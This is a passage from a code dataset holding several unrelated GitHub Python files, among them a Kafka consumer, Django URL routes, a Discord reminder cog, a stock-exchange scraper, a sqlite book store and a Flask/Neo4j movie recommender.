\n","repo_name":"ravindkv/cms-TT-run2","sub_path":"CBA_Ntuple/Plot_Hist/PlotFunc.py","file_name":"PlotFunc.py","file_ext":"py","file_size_in_byte":16316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40122392404","text":"import json\nimport traceback\nimport requests\n\nfrom kafka import KafkaConsumer, TopicPartition\n\nfrom db_utils import DB\nfrom detection_app import abbyy_template_detection, algonox_template_detection\nfrom producer import produce\ntry:\n from .ace_logger import Logging\nexcept:\n from ace_logger import Logging\n\nfrom py_zipkin.zipkin import zipkin_span,ZipkinAttrs, create_http_headers_for_new_span\n\nlogging = Logging()\n\ndef http_transport(encoded_span):\n # The collector expects a thrift-encoded list of spans. Instead of\n # decoding and re-encoding the already thrift-encoded message, we can just\n # add header bytes that specify that what follows is a list of length 1.\n body =encoded_span\n requests.post(\n 'http://servicebridge:5002/zipkin',\n data=body,\n headers={'Content-Type': 'application/x-thrift'},\n )\n\n\ndef consume(broker_url='broker:9092'):\n try:\n common_db_config = {\n 'host': 'common_db',\n 'port': '3306',\n 'user': 'root',\n 'password': 'root'\n }\n kafka_db = DB('kafka', **common_db_config)\n # kafka_db = DB('kafka')\n\n queue_db_config = {\n 'host': 'queue_db',\n 'port': '3306',\n 'user': 'root',\n 'password': 'root'\n }\n queue_db = DB('queues', **queue_db_config)\n\n overwrite = False\n\n message_flow = kafka_db.get_all('message_flow')\n listen_to_topic_df = message_flow.loc[message_flow['listen_to_topic'] == 'detection']\n topic = list(listen_to_topic_df.listen_to_topic)[0]\n send_to_topic = list(listen_to_topic_df.send_to_topic)[0]\n\n logging.info(f'Listening to topic `{topic}`...')\n consumer = KafkaConsumer(\n bootstrap_servers=broker_url,\n value_deserializer=lambda value: json.loads(value.decode()),\n auto_offset_reset='earliest',\n group_id='detection',\n api_version=(0,10,1),\n enable_auto_commit=False,\n session_timeout_ms=800001,\n request_timeout_ms=800002\n )\n logging.info('Consumer object created.')\n\n parts = consumer.partitions_for_topic(topic)\n if parts is None:\n logging.warning(f'No partitions for topic `{topic}`')\n logging.debug(f'Creating Topic: {topic}')\n produce(topic, {})\n print(f'Listening to topic `{topic}`...')\n while parts is None:\n consumer = KafkaConsumer(\n bootstrap_servers=broker_url,\n value_deserializer=lambda value: json.loads(value.decode()),\n auto_offset_reset='earliest',\n group_id='sap_portal',\n api_version=(0,10,1),\n enable_auto_commit=False,\n session_timeout_ms=800001,\n request_timeout_ms=800002\n )\n parts = consumer.partitions_for_topic(topic)\n logging.warning(\"No partition. In while loop. Make it stop\")\n\n partitions = [TopicPartition(topic, p) for p in parts]\n consumer.assign(partitions)\n\n for message in consumer:\n data = message.value\n\n if not data:\n logging.info(f'Got empty data. {data}')\n consumer.commit()\n continue\n \n tenant_id = ''\n if 'tenant_id' in data:\n tenant_id = data['tenant_id']\n consumer.commit()\n zipkin_headers = None\n # If folder monitor sends multiple messages, think about this\n if 'zipkin_headers' in data:\n zipkin_headers = data['zipkin_headers']\n if not zipkin_headers:\n logging.warning(f'Critical error: Zipkin headers not found')\n # print (f'Critical error: Zipkin headers not found')\n try:\n with zipkin_span(\n service_name='detection_app',\n span_name='consume',\n zipkin_attrs=ZipkinAttrs(trace_id=zipkin_headers['X-B3-TraceId'],\n span_id=zipkin_headers['X-B3-SpanId'],\n parent_span_id=zipkin_headers['X-B3-ParentSpanId'],\n flags=zipkin_headers['X-B3-Flags'],\n is_sampled=zipkin_headers['X-B3-Sampled'],),\n transport_handler=http_transport,\n sample_rate=100,\n ):\n case_id = data['case_id']\n ingestion_type = data['type']\n query = \"SELECT * from process_queue where case_id = %s\"\n case_id_process = queue_db.execute(query, params = [case_id])\n current_queue = 'Old file' if case_id_process.empty else list(case_id_process.queue)[0]\n if not current_queue:\n current_queue = 'New file'\n # print(current_queue)\n if current_queue == 'New file' or overwrite:\n if ingestion_type == 'file_ingestion':\n response_data = abbyy_template_detection(data)\n else:\n response_data = algonox_template_detection(case_id)\n # print(response_data)\n if response_data['flag'] == True:\n data = response_data['send_data'] if 'send_data' in response_data else {}\n # consumer.commit()\n logging.info('Message commited!')\n produce(send_to_topic, data)\n else:\n if 'send_to_topic' in response_data:\n send_to_topic_bypassed = response_data['send_to_topic']\n produce(send_to_topic_bypassed, {})\n else:\n logging.error('Message not consumed. Some error must have occured. Will try again!')\n else:\n logging.info(\"Consuming old message.\")\n except:\n try:\n case_id = data['case_id']\n ingestion_type = data['type']\n query = \"SELECT * from process_queue where case_id = %s\"\n case_id_process = queue_db.execute(query, params = [case_id])\n current_queue = 'Old file' if case_id_process.empty else list(case_id_process.queue)[0]\n if not current_queue:\n current_queue = 'New file'\n # print(current_queue)\n if current_queue == 'New file' or overwrite:\n if ingestion_type == 'file_ingestion':\n response_data = abbyy_template_detection(data)\n else:\n response_data = algonox_template_detection(case_id)\n # print(response_data)\n if response_data['flag'] == True:\n data = response_data['send_data'] if 'send_data' in response_data else {}\n # consumer.commit()\n logging.info('Message commited!')\n produce(send_to_topic, data)\n else:\n if 'send_to_topic' in response_data:\n send_to_topic_bypassed = response_data['send_to_topic']\n produce(send_to_topic_bypassed, {})\n else:\n logging.error('Message not consumed. Some error must have occured. Will try again!')\n else:\n logging.info(\"Consuming old message.\")\n except Exception as e:\n logging.warning(f\"Error. Moving to next message. [{e}]\")\n consumer.commit()\n except:\n logging.warning('Something went wrong in consumer. Check trace.')\n\nif __name__ == '__main__':\n consume()\n","repo_name":"gopiteja/digi","sub_path":"template_detection/BL/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":8239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21250726823","text":"# -*- coding: utf-8 -*-\nfrom numpy import *\nimport scipy.io as scio\n\ndef L1_distance(vector1, vector2):\n rtn=0\n for i in range(len(vector1)):\n rtn += abs(vector1[i] - vector2[i])\n return rtn\n\n# load data\ndatafile = '11182018.mat'\ndata = scio.loadmat(datafile)\ntest = data[\"test\"]\ntrain = data[\"train\"]\n\ntest_sim=zeros((3,4,3,10))\naccuracy = 0.0\ncorrect_num = 0\n\n# i,m is the person\n# j is in test set\nfor i in range(3):\n for j in range(4):\n max_similarity = 0.0\n m_idx = -1\n k_idx = -1\n for m in range(3):\n for k in range(10):\n test_sim[i][j][m][k] = L1_distance(test[i][j], train[m][k])\n if max_similarity < test_sim[i][j][m][k]:\n max_similarity = test_sim[i][j][m][k]\n m_idx = m\n k_idx = k\n\n if i == m_idx:\n correct_num += 1\n print(i, j, 'simi to ', m_idx, ' -> ', k_idx)\n\n\nprint('total accuracy : ', correct_num / 12.0)","repo_name":"Hclmaster/Offline-Handwritten-Verification-System","sub_path":"First Try - KNN with pixel value/KNN_L1.py","file_name":"KNN_L1.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18204944727","text":"from django.urls import path\nfrom django.contrib.auth.decorators import permission_required\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('404/', views.not_founded, name='not_founded'),\n path('signin/', views.signin_def, name='signin_def'),\n path('login/', views.login_def, name='login_def'),\n path('logout/', views.logout_def, name='logout_def'),\n path('search/', views.search, name='search'),\n\n path('book/page//', views.details_book, name='book_page'),\n path('book/list/lib=&col=&gen=', views.list_books, name='list_books'),\n path('book/borrow/list/', views.list_borrows, name='list_book_borrowed'),\n #user account\n path('user/page/', views.user_page, name='user_page'),\n path('user/edit/', views.edit_user, name='edit_user'),\n\n path('bookgroup/add', views.add_lecture_group, name='add_lecture_group'),\n path('bookgroup/detail//', views.lg_page, name='lg_page'),\n # path('bookgroup/mylist/', views.list_lecture_group, name='list_lecture_group'),\n path('bookgroup/list/', views.list_lecture_groups, name='list_lecture_groups'),\n path('bookgroup/delete//', views.delete_lecture_group, name='delete_lecture_group'),\n path('bookgroup/people/add//', views.add_lecturer, name='add_lecturer'),\n path('bookgroup/people/delete//', views.delete_lecturer, name='delete_lecturer'),\n path('bookgroup/session/add//', views.add_lecture_group_details, name='add_lecture_group_details'),\n \n path('forum/list', views.list_forum, name='list_forum'),\n path('forum/add', views.add_forum, name='add_forum'),\n path('forum/delete//', views.delete_forum, name='delete_forum'),\n path('forum/page//', views.forum_page, name='forum_page'),\n path('forum/message/list/', views.list_own_message, name='list_own_message'),\n path('forum/message/add//', views.add_message, name='add_message'),\n path('forum/message/edit//', views.edit_message, name='edit_message'),\n path('forum/message/delete//', views.delete_message, name='delete_message'),\n\n\n\n\n #################\n ##### Admin #####\n #################\n path('admin/', views.admin, name='admin'),\n path('admin/set_role/id=&role=', views.set_role, name='set_role'), #admin\n\n path('admin/instance/add//', views.add_instance_admin, name='add_instance_admin'), #admin, bookseller\n path('admin/instance/delete//', views.delete_instance_admin, name='delete_instance_admin'), #admin, bookseller\n \n\n path('admin/book/add/', views.add_book_admin, name='add_book_admin'), #admin, bookseller\n path('admin/book/edit//', views.edit_book_admin, name='edit_book_admin'), #admin, bookseller\n path('admin/book/delete//', views.delete_book_admin, name='delete_book_admin'), #admin, bookseller\n path('admin/book/list/', views.list_books_admin, name='list_books_admin'), #admin, bookseller\n path('admin/book/page//', views.details_book_admin, name='book_page_admin'), #admin, bookseller\n path('admin/book/borrows//', views.borrow_book_admin, name='borrow_book_admin'), #admin, bookseller\n path('admin/book/borrows/cancel//', views.cancel_borrow_admin, name='cancel_borrow_admin'), #admin, bookseller\n path('admin/book/borrows/list/', views.list_borrows_admin, name='list_borrows_admin'), #admin, bookseller\n path('admin/book/collection/list/', views.list_collection_admin, name='list_collection_admin'), #admin, bookseller\n path('admin/book/collection/add/', views.add_collection_admin, name='add_collection_admin'), #admin, bookseller\n path('admin/book/collection/edit//', views.edit_collection_admin, name='edit_collection_admin'), #admin, bookseller\n path('admin/book/collection/delete//', views.delete_collection_admin, name='delete_collection_admin'), #admin, bookseller\n path('admin/book/genre/list/', views.list_genre_admin, name='list_genre_admin'), #admin, bookseller\n path('admin/book/genre/add/', views.add_genre_admin, name='add_genre_admin'), #admin, bookseller\n path('admin/book/genre/edit//', views.edit_genre_admin, name='edit_genre_admin'), #admin, bookseller\n path('admin/book/genre/delete//', views.delete_genre_admin, name='delete_genre_admin'), #admin, bookseller\n\n\n path('admin/library/add/', views.add_library_admin, name='add_library_admin'), #admin\n path('admin/library/delete//', views.delete_library_admin, name='delete_library_admin'), #admin\n path('admin/library/edit//', views.edit_library_admin, name='edit_library_admin'), #admin, bookseller\n path('admin/library/list/', views.list_libraries_admin, name='list_libraries_admin'), #admin, bookseller\n path('admin/library/page//', views.library_page_admin, name='library_page_admin'), #admin, bookseller\n\n path('admin/librarian/delete//', views.delete_librarian_admin, name='delete_librarian_admin'), #admin\n\n path('admin/users/list/', views.list_users_admin, name='list_users_admin'), #admin, bookseller\n path('admin/users/edit//', views.edit_user_admin, name='edit_user_admin'), #admin\n path('admin/users/delete//', views.delete_user_admin, name='delete_user_admin'), #admin\n path('admin/users/page//', views.page_user, name='page_user'), #admin, bookseller\n \n\n path('admin/bookgroup/list/', views.list_lecture_group_admin, name='list_lecture_group_admin'), #admin, bookseller\n path('admin/bookgroup/add/', views.add_lecture_group_admin, name='add_lecture_group_admin'), #admin\n path('admin/bookgroup/edit//', views.edit_lecture_group_admin, name='edit_lecture_group_admin'), #admin\n path('admin/bookgroup/delete//', views.delete_lecture_group_admin, name='delete_lecture_group_admin'), #admin\n path('admin/bookgroup/people/add//', views.add_lecturer_admin, name='add_lecturer_admin'), #admin\n path('admin/bookgroup/people/delete//', views.delete_lecturer_admin, name='delete_lecturer_admin'), #admin\n path('admin/bookgroup/page//', views.details_lg_admin, name='details_lg_admin'), #admin, bookseller\n\n\n # path('admin/forum/page//', views.forum_page_admin, name=\"forum_page_admin\"), #admin, bookseller\n # path('admin/forum/list/', views.list_forums_admin, name=\"list_forums_admin\"), #admin, bookseller\n # path('admin/forum/add/', views.add_forum_admin, name=\"add_forum_admin\"), #admin, bookseller\n # path('admin/forum/edit//', views.edit_forum_admin, name=\"edit_forum_admin\"), #admin, bookseller\n # path('admin/forum/delete//', views.delete_forum_admin, name=\"delete_forum_admin\"), #admin, bookseller\n # path('admin/forum/message/list//', views.list_message_admin, name=\"list_message_admin\"), #admin, bookseller\n # path('admin/forum/message/edit//', views.edit_message_admin, name=\"edit_message_admin\"), #admin, bookseller\n # path('admin/forum/message/delete//', views.delete_message_admin, name=\"delete_forum_admin\"), #admin, bookseller\n\n\n]","repo_name":"TheoRacherR/Django-Library","sub_path":"lib/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":7162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23465011164","text":"import datetime\nimport typing\nimport discord\nfrom discord import message_command, Option, slash_command\n\nfrom discord.ext import commands\nfrom crawler_utilities.utils.embeds import EmbedWithAuthor\nfrom dropdowns.Reminder import ReminderView\nfrom utils.reminder.reminder import Reminder\nfrom utils.reminder.utils import find_reminder_time, get_datetime_string\n\nfrom utils import globals as GG\n\nlog = GG.log\n\n\nclass ReminderCog(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @slash_command(name=\"remindme\")\n async def remindme(self, ctx, reminder: Option(str, \"When do you want to be reminded?\")):\n timeString = find_reminder_time(reminder)\n dateTimeString = datetime.datetime.utcnow()\n reminder, result_message = Reminder.build_reminder(None, ctx.interaction.channel_id, ctx.interaction.guild_id, ctx.interaction.user.id, dateTimeString, timeString)\n if reminder is None:\n log.debug(\"Reminder not valid, returning\")\n return await ctx.respond(result_message)\n\n await GG.MDB['reminders'].update_one({\"requested_date\": reminder.requested_date, \"authorId\": reminder.authorId}, {\"$set\": reminder.to_dict()}, upsert=True)\n\n log.info(f\"Reminder created by {reminder.authorId} on {get_datetime_string(reminder.target_date)}\")\n bldr = await reminder.render_message_confirmation(self.bot, result_message)\n embed = EmbedWithAuthor(ctx)\n embed.description = ''.join(bldr)\n await ctx.respond(embed=embed)\n\n @message_command(name=\"Remind me\")\n async def remindme_message(self, ctx: discord.ApplicationContext, message: discord.Message):\n await ctx.respond(\"When do you want to be reminded?\", view=ReminderView(ctx.bot, message), ephemeral=True)\n\n\ndef setup(bot):\n log.info(\"[Cog] Reminder\")\n bot.add_cog(ReminderCog(bot))\n","repo_name":"CrawlerEmporium/ScheduleCrawler","sub_path":"cogs/reminder.py","file_name":"reminder.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7566177739","text":"# We'll use microprediction.org histories and the tigramite causality library\n\nimport numpy as np\nimport matplotlib\nfrom matplotlib import pyplot as plt\nplt.style.use('ggplot')\nplt.rcParams[\"figure.figsize\"] = (14,10)\nimport tigramite\nfrom tigramite import data_processing as pp\nfrom tigramite import plotting as tp\nfrom tigramite.pcmci import PCMCI\nfrom tigramite.independence_tests import ParCorr\nimport os\nfrom microprediction import MicroReader\nimport json\nimport pandas as pd\nmr = MicroReader()\n\nwith open('data/groups.json') as f:\n groups = json.load(f)\n\nfor k, names in groups.items():\n stem = k.replace('.json','')\n if len(names):\n columns = [n.replace('.json','') for n in names]\n df = pd.DataFrame(columns=columns)\n all_values = [ list(reversed(mr.get_lagged_values(name=name,count=1000)))[:1000] for name in names ]\n num = np.min([len(v) for v in all_values])\n for name, col, values in zip(names, columns, all_values):\n sigma = np.nanstd(values[-num:])\n if sigma>1e-4:\n df[col] = values[-num:]\n else:\n print('Dropping '+col+' as it appears to be constant.')\n del df[col]\n try:\n os.mkdir('data/'+stem)\n except Exception as e:\n pass\n df.to_csv('data/' + stem + '/chronological.csv')\n\n prefix = os.path.commonprefix(columns)\n var_names = [ col.replace(prefix,'') for col in columns]\n pp_frame = pp.DataFrame(data=df.values, var_names=var_names)\n parcorr = ParCorr()\n pcmci_parcorr = PCMCI(dataframe=pp_frame, cond_ind_test=parcorr, verbosity=0)\n try:\n all_parents = pcmci_parcorr.run_pc_stable(tau_max=2, pc_alpha=0.2)\n success=True\n except ValueError as e:\n print(e)\n success=False\n if success:\n results = pcmci_parcorr.run_pcmci(tau_max=2, pc_alpha=0.2)\n pcmci_parcorr.print_significant_links(p_matrix=results['p_matrix'],\n val_matrix=results['val_matrix'], alpha_level=0.01)\n link_matrix = pcmci_parcorr.return_significant_links(pq_matrix=results['p_matrix'],\n val_matrix=results['val_matrix'], alpha_level=0.01)[\n 'link_matrix']\n tp.plot_time_series_graph(\n val_matrix=results['val_matrix'],\n link_matrix=link_matrix,\n var_names=var_names,\n link_colorbar_label='MCI',\n )\n try:\n os.mkdir('gallery/' + stem)\n except Exception as e:\n pass\n plt.savefig('gallery/'+stem+'/causality.png')\n plt.close()\n","repo_name":"microprediction/microactors-causality","sub_path":"causality.py","file_name":"causality.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"52"} +{"seq_id":"21914478944","text":"import re\r\nimport json\r\nimport datetime\r\nimport locale\r\n\r\ndef extract_data(context, data):\r\n response = context.http.get(data['link'])\r\n page = response.html\r\n\r\n secur_el = _doesexist(page.xpath('//tr[10]/td[2]/text()'))\r\n emis_el = _doesexist(page.xpath('//tr[11]/td[2]/text()'))\r\n\r\n check_security = _checktype(secur_el[0])\r\n check_emission = _checktype(emis_el[0])\r\n\r\n first_emission_placement_price = ''.join(''.join(re.findall(r'\\d+[\\W+\\d]', check_emission[0])).split())\r\n first_emission_placement_currency = (re.findall('сом', check_emission[0]))\r\n\r\n second_emission_placement_price = ''.join(''.join(re.findall(r'\\d+[\\W+\\d]', check_emission[1])).split())\r\n second_emission_placement_currency = (re.findall('сом', check_emission[1]))\r\n\r\n normal_securities_num = ''.join(''.join(re.findall(r'\\d+[\\W+\\d]', check_security[0])).split())\r\n normal_securities_unit = (re.findall('шт', check_security[0]))\r\n\r\n privileged_securities_num = ''.join(''.join(re.findall(r'\\d+[\\W+\\d]', check_security[1])).split())\r\n privileged_securities_unit = (re.findall('шт', check_security[1]))\r\n\r\n company = {'company_url': response.url,\r\n 'company_name': _gettext(page.xpath('//tr[2]/td[2]/text()')),\r\n 'occupation_type': _gettext(page.xpath('//tr[3]/td[2]/text()')),\r\n 'name_surname_of_supervisor': _gettext(page.xpath('//tr[4]/td[2]/text()')),\r\n 'supervisors_position': _gettext(page.xpath('//tr[5]/td[2]/text()')),\r\n 'address': _gettext(page.xpath('//tr[6]/td[2]/text()')),\r\n 'phone_number_fax': _gettext(page.xpath('//tr[7]/td[2]/text()')),\r\n 'registrar': _gettext(page.xpath('//tr[8]/td[2]/text()')),\r\n 'securities_type': _gettext(page.xpath('//tr[9]/td[2]/text()')),\r\n 'quantity_of_securities': _gettext(page.xpath('//tr[10]/td[2]/text()')),\r\n 'normal_securities_quantity': _doesexist(normal_securities_num),\r\n 'normal_securities_unit': _gettext(normal_securities_unit),\r\n 'privileged_securities_num': _doesexist(privileged_securities_num),\r\n 'privileged_securities_unit': _gettext(privileged_securities_unit),\r\n 'first_emission_placement_price': _doesexist(first_emission_placement_price),\r\n 'first_emission_placement_currency': _gettext(first_emission_placement_currency),\r\n 'second_emission_placement_price': _doesexist(second_emission_placement_price),\r\n 'second_emission_placement_currency': _gettext(second_emission_placement_currency)\r\n }\r\n # reports = {'company_url': response.url,\r\n # 'quarterly_report_url': _gettext(page.xpath('//tr[1]/td[2]/a/@href')),\r\n # 'annual_report_url': _gettext(page.xpath('//tr[2]/td[2]/a/@href'))}\r\n\r\n reports = page.xpath('//tr/td[2]/a/@href')\r\n report_list = []\r\n for report in reports:\r\n report_info = {'report_url': report,\r\n 'company_url': response.url,\r\n 'file_name': context.http.get(report).content_hash}\r\n\r\n report_list.append(report_info)\r\n context.emit(rule='download', data={'report_url': report_info['report_url'],\r\n 'company_url': report_info['company_url']})\r\n #\r\n # context.emit(rule='download', data=report_list)\r\n #\r\n\r\n # if reports['quarterly_report_url'] or reports['annual_report_url']:\r\n # context.emit(rule='download', data={'quarterly_report_url': reports['quarterly_report_url'],\r\n # 'annual_report_url': reports['annual_report_url'],\r\n # 'company_url': reports['company_url']})\r\n\r\n locale.setlocale(locale.LC_TIME, 'ru_RU.UTF-8')\r\n\r\n news_date = page.xpath('//td/strong/text()')\r\n news_urls = page.xpath('//a[contains(@href,\"Russ\")]/@href')\r\n news_titles = page.xpath('//a[contains(@href,\"Russ\")]/text()')\r\n res = []\r\n for date, news_url, news_title in zip(news_date, news_urls, news_titles):\r\n news_info = {'company_url': response.url,\r\n 'title': news_title,\r\n 'date': datetime.datetime.strptime(date, u'%d.%m.%Y'),\r\n 'news_url': news_url}\r\n res.append(news_info)\r\n\r\n company['news_info'] = res\r\n company['reports'] = report_list\r\n\r\n print(company)\r\n context.emit(rule='store', data=company)\r\n\r\n\r\ndef _doesexist(string):\r\n if not string:\r\n return '---'\r\n else:\r\n return string\r\n\r\n\r\ndef _gettext(list):\r\n if not list:\r\n return '---'\r\n else:\r\n return list[0].strip()\r\n\r\n\r\ndef _checktype(list):\r\n if ';' in list:\r\n return list.split(';')\r\n\r\n else:\r\n return [list, 'none']\r\n","repo_name":"Kemelbek/scrapers","sub_path":"src/kg_kse/kg_kse_parse.py","file_name":"kg_kse_parse.py","file_ext":"py","file_size_in_byte":4849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73656752166","text":"#!/usr/bin/env/python\nimport rospy\nfrom sensor_msgs.msg import Joy\nfrom geometry_msgs.msg import Twist\npub= rospy.Publisher(\"/ria_nav_teleop/cmd_vel\",Twist,queue_size=1)\n\ndef joyCallback(msg):\n command= Twist()\n axes= msg.axes\n command.angular.z= 0.3*msg.axes[1]\n command.linear.x= 0.005* axes[3]\n pub.publish(command)\n rospy.loginfo(\"published\")\n\n\n\ndef listener():\n rospy.init_node('ria_manualControl',anonymous=True)\n \n rospy.Subscriber('/joy',Joy,joyCallback)\n rospy.spin()\n\nif __name__=='__main__':\n listener()\n","repo_name":"alwinmreji/marker_navigation","sub_path":"scripts/manualControl.py","file_name":"manualControl.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74418435045","text":"import sqlite3\n\n\nclass sql_db:\n \"\"\"\n Class for db communication\n \"\"\"\n\n def __init__(self, db_name):\n \"\"\"\n init method\n :param db_name: Db to connect to\n :returns: cursor pointing to the db\n \"\"\"\n self.conn = sqlite3.connect(db_name)\n self.cur = self.conn.cursor()\n self.cur.execute(\"CREATE TABLE IF NOT EXISTS book \\\n (id INTEGER PRIMARY KEY, \\\n title text, \\\n author text, \\\n year integer, \\\n isbn integer)\")\n self.conn.commit()\n\n def insert(self, title, author, year, isbn):\n \"\"\"\n Inserts a new row in the db\n :param title: Name of the book\n :param author: Name of the author\n :param year: Year published\n :param isbn: isbn code\n \"\"\"\n self.cur.execute(\"INSERT INTO book VALUES (NULL, ?, ?, ?, ?)\", (title, author, year, isbn))\n self.conn.commit()\n\n def get_all(self):\n \"\"\"\n Gets all entries from the db\n \"\"\"\n self.cur.execute(\"SELECT * FROM book\")\n rows = self.cur.fetchall()\n print(rows)\n # if rows(1) == \"CloudAtlas\":\n # rows(1) = \"testBook\"\n return rows\n\n def search(self, title=\"\", author=\"\", year=\"\", isbn=\"\"):\n \"\"\"\n Looks for an entry in the db\n \"\"\"\n self.cur.execute(\"SELECT * from book WHERE title=? OR author=? OR year =? OR isbn=?\",\n (title, author, year, isbn))\n rows = self.cur.fetchall()\n return rows\n\n def delete(self, id):\n \"\"\"\n Deletes an entry\n \"\"\"\n self.cur.execute(\"DELETE FROM book WHERE id=?\", (id,))\n self.conn.commit()\n\n def update(self, id, title=\"\", author=\"\", year=\"\", isbn=\"\"):\n \"\"\"\n Updates existing entry in the db\n \"\"\"\n self.cur.execute(\"UPDATE book SET title=?, author=?, year=?, isbn=? WHERE id=?\",\n (title, author, year, isbn, id))\n self.conn.commit()\n\n","repo_name":"Affy01/bookstore","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6702163100","text":"import json\nfrom flask import Flask, jsonify, render_template, request\nfrom pymongo import MongoClient\nfrom settings import NEO4J_DATABASE, NEO4J_PASSWORD, NEO4J_URI, NEO4J_USER\nfrom neo4j import GraphDatabase, basic_auth\n\n\napp = Flask(__name__)\nclient = MongoClient('localhost', 27017, username='root',password='rootpassword')\n\ndb = client.flask_db\nreviews = db.reviews\nmovies = db.movies\n\ndriver = GraphDatabase.driver(NEO4J_URI, auth=basic_auth(NEO4J_USER, NEO4J_PASSWORD))\n\n@app.route('/movies/recommendations', methods=(['GET']))\ndef index():\n headers = request.headers\n auth = headers.get('X-Api-Key')\n if auth == 'somethingElseInProduction':\n movies = request.get_json()\n recommended_movies = {}\n with driver.session() as neodb:\n for movie in movies['movies']:\n recommended_list = []\n similar_movies = neodb.run(\"MATCH (m:Movie)-[:IS_GENRE]->(g:Genre)<-[:IS_GENRE]-(rec:Movie)\"\n \"WHERE m.title = $title \" \n \"WITH rec, COLLECT(g.name) AS genres, COUNT(*) AS commonGenres \" \n \"RETURN rec.title \" \n \"LIMIT 3 \",\n {\"title\": movie})\n for recommendation in similar_movies.values():\n recommended_list.append(recommendation[0])\n recommended_movies[movie] = recommended_list\n return recommended_movies\n else: return jsonify(\"some status code\")\n\n@app.route('/getmovies/', methods=('GET', 'POST'))\ndef get_movies_search(movie):\n headers = request.headers\n auth = headers.get('X-Api-Key')\n if auth == 'somethingElseInProduction':\n all_movies = []\n session = driver.session()\n for record in session.run(\"MATCH (m:Movie) WHERE toLower(m.title) CONTAINS toLower($title) RETURN m.title\", {\"title\": movie}):\n all_movies.append(record[\"m.title\"])\n return jsonify(all_movies)\n else: return jsonify(\"some status code\")\n\n@app.route('/setmovierating', methods=('GET', 'POST'))\ndef set_movie_rating():\n headers = request.headers\n auth = headers.get('X-Api-Key')\n if auth == 'somethingElseInProduction':\n review = request.get_json()\n session = driver.session()\n if review['rating'] == \"Disliked\":\n session.run(\"MERGE(u:User{id:$id}) \"\n \"MERGE(m:Movie{title:$title}) \"\n \"MERGE(u)-[:DISLIKED]->(m) \"\n \"return u, m\", {\"title\": review['movie_name'], \"id\": review['id'], \"rated\": review['rating']})\n\n else:\n session.run(\"MERGE(u:User{id:$id}) \"\n \"MERGE(m:Movie{title:$title}) \"\n \"MERGE(u)-[:LIKED]->(m) \"\n \"return u, m\", {\"title\": review['movie_name'], \"id\": review['id'], \"rated\": review['rating']})\n return \"200\"\n else: return jsonify(\"some status code\")\n \n## not done\n@app.route('/otheruserreviews', methods=('GET', 'POST'))\ndef get_other_user_reviews():\n session = driver.session()\n test = session.run(\"match (u:User)-[r:LIKES]->(m:Movie) return u.id, m.title\",)\n for r in test:\n print(r)\n return \"200\"\nif __name__ == \"__main__\":\n app.run(debug=True, port=5001)\n\n ","repo_name":"dofinator/db_eksamen_22","sub_path":"project/microservice_neo.py","file_name":"microservice_neo.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6010744504","text":"from algorithm.Version3.ConsumptionGraph import ConsumptionGraph\nfrom algorithm.Version3.GraphGenerator import GraphGenerator\n\n\nclass FairAllocationProblem():\n \"\"\"\n this class is abstract class for solve Fair Allocation Problem\n meaning - get agents valuation and a Fair Allocation\n \"\"\"\n\n\n def __init__(self ,valuation):\n self.valuation = valuation\n self.num_of_agents = len(valuation)\n self.num_of_items = len(valuation[0])\n self.min_sharing_number = len(valuation)\n self.min_sharing_allocation = valuation\n self.graph_generator = GraphGenerator(valuation)\n self.find = False\n\n def find_allocation_with_min_shering(self):\n i = 0\n n = len(self.valuation)\n while (i < n) and (not self.find):\n self.graph_generator.set_num_of_sharing_is_allowed(i)\n for consumption_graph in self.graph_generator.generate_all_consumption_graph():\n self.find_allocation_for_graph(consumption_graph)\n i += 1\n return self.min_sharing_allocation\n\n\n\n def find_allocation_for_graph(self,consumption_graph : ConsumptionGraph):\n raise Exception(\"the class FairAllocationProblem is abstract class - you can't creat an instance from this class\")\n\n\n\n\n\n\n\n\n","repo_name":"DanielAbergel/Distribution-Algorithm","sub_path":"server/algorithm/Version3/FairAllocationProblem.py","file_name":"FairAllocationProblem.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"17664144524","text":"import re\nfrom types import SimpleNamespace\nfrom typing import Optional, Any, List, Tuple, Union\n\nimport numpy as np\n\nfrom AnyQt.QtCore import Qt, QUrl, QItemSelection, QItemSelectionModel, \\\n QModelIndex\nfrom AnyQt.QtWidgets import QTableView, QSplitter, QApplication\n\nfrom Orange.data import Table\nfrom Orange.widgets import gui\nfrom Orange.widgets.settings import Setting\nfrom Orange.widgets.utils.annotated_data import create_annotated_table\nfrom Orange.widgets.utils.concurrent import ConcurrentWidgetMixin, TaskState\nfrom Orange.widgets.utils.itemmodels import PyTableModel\nfrom Orange.widgets.widget import Input, Output, OWWidget, Msg\n\nfrom orangecontrib.text import Corpus\nfrom orangecontrib.text.semantic_search import SemanticSearch\nfrom orangecontrib.text.widgets.utils.words import create_words_table, \\\n WORDS_COLUMN_NAME\n\nIndexRole = next(gui.OrangeUserRole)\n\nHTML = '''\n\n\n\n\n\n\n\n\n\n\n{}\n\n\n'''\n\n\nclass Results(SimpleNamespace):\n scores: List[Optional[List]] = 